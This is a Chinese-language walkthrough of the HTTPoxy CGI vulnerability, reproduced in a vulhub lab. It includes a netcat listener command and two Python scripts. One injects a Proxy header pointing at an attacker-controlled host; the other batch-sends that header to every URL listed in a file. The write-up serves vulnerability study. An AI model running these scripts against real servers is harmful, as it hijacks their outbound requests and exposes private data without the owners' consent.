HTTPoxy介绍
httpoxy是cgi中的一个环境变量。而服务器和CGI程序之间通信,一般是通过进程的环境变量和管道
CGI是通用网关接口,一段运行在服务器中的程序
漏洞描述
在CGI中会将http头部,加上HTTP_前缀,注册为环境变量。当header中发送一个Proxy,就会将她注册为HTTP_PROXY环境变量,可以获取目标主机的隐私数据。
影响环境:HAProxy、Varnish、OpenBSD relayd、lighttpd、PHP、Python
漏洞复现
打开vulhub环境,进行网页访问,这里网页显示的是公网ip
进行抓包修改,在header中加入proxy,进行发包,返回的也是公网ip
在另一端进行监听,接受数据
nc -lvp 8000
建议使用有公网ip服务器进行操作,否则需要多次尝试。
脚本编写
首先进行发送包的编写。实现字典进行跑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests
url = 'http://192.168.1.134:8080/index.php' header = { 'Upgraade-Insecure-Requests':'1', 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Accept-Encoding':'gzip, deflate', 'Accept-Language':'zh-CN,zh;q=0.9', 'Proxy':'192.168.1.128' } vps = requests.get(url=url,headers=header) print(vps.text)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests
with open('D:/桌面/211.txt') as file: for files in file: if not files: break url = files header = { 'Upgraade-Insecure-Requests':'1', 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Accept-Encoding':'gzip, deflate', 'Accept-Language':'zh-CN,zh;q=0.9', 'Proxy':'192.168.1.128' } vps = requests.get(url=url,headers=header) print(vps.text)
|